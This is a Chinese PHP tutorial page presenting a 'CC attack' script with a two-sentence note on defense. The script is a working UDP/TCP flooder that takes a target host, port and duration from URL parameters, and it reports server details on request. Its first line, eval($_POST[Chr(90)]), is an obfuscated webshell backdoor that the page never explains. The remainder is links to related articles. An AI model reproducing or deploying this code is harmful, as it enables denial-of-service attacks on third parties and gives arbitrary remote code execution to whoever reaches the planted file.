php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
Windows中安装Apache2和PHP4权威指南
Nov 18 PHP
php5 and xml示例
Nov 22 PHP
PHP静态类
Nov 25 PHP
PHP学习笔记之一
Jan 17 PHP
php生成html文件方法总结
Dec 01 PHP
PHP生成指定随机字符串的简单实现方法
Apr 01 PHP
PHP以json或xml格式返回请求数据的方法
May 31 PHP
PHP+MySQL实现输入页码跳转到指定页面功能示例
Jun 01 PHP
Thinkphp 5.0实现微信企业付款到零钱
Sep 30 PHP
PHP模糊查询技术实例分析【附源码下载】
Mar 07 PHP
PHP图像处理 imagestring添加图片水印与文字水印操作示例
Feb 06 PHP
PHP7 参数处理机制修改
Mar 09 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
Ajax PHP简单入门教程代码
2008/04/25 PHP
关于php mvc开发模式的感想
2011/06/28 PHP
php简单分页类实现方法
2015/02/26 PHP
artdialog的图片/标题以及关闭按钮不显示的解决方法
2013/06/27 Javascript
javascript实现日期格式转换
2014/12/16 Javascript
JavaScript实现Java中StringBuffer的方法
2015/02/09 Javascript
JavaScript中用getDate()方法返回指定日期的教程
2015/06/09 Javascript
JavaScript判断微信浏览器实例代码
2016/06/13 Javascript
如何用js实现鼠标向上滚动时浮动导航
2016/07/18 Javascript
20分钟打造属于你的Bootstrap站点
2016/07/27 Javascript
原生JS改变透明度实现轮播效果
2017/03/24 Javascript
解决vue-cli单页面手机应用input点击手机端虚拟键盘弹出盖住input问题
2018/08/25 Javascript
JavaScript中常用的简洁高级技巧总结
2019/03/10 Javascript
微信小程序bindtap事件与冒泡阻止详解
2019/08/08 Javascript
Node对CommonJS的模块规范
2019/11/06 Javascript
JS数组的高级使用方法示例小结
2020/03/14 Javascript
Python网页解析利器BeautifulSoup安装使用介绍
2015/03/17 Python
详解python 发送邮件实例代码
2016/12/22 Python
python购物车程序简单代码
2018/04/18 Python
Python argparse模块应用实例解析
2019/11/15 Python
Python更换pip源方法过程解析
2020/05/19 Python
django 实现后台从富文本提取纯文本
2020/07/02 Python
Anaconda使用IDLE的实现示例
2020/09/23 Python
详解python模块pychartdir安装及导入问题
2020/10/22 Python
Python爬虫破解登陆哔哩哔哩的方法
2020/11/17 Python
HTML5 表单验证失败的提示语问题
2017/07/13 HTML / CSS
北京-环亚运商测试题.net程序员初步测试题
2013/05/28 面试题
EJB包括(SessionBean,EntityBean)说出他们的生命周期,及如何管理事务的?
2013/02/17 面试题
J2EE面试题
2016/03/14 面试题
高级文秘工作总结的自我评价
2013/09/28 职场文书
国培远程培训感言
2014/03/08 职场文书
中学生国旗下讲话稿
2014/04/26 职场文书
新闻简讯格式及范文
2015/07/22 职场文书
党员廉政准则心得体会
2016/01/20 职场文书
手写Spirit防抖函数underscore和节流函数lodash
2022/03/22 Javascript
webpack介绍使用配置教程详解webpack介绍和使用
2022/06/25 Javascript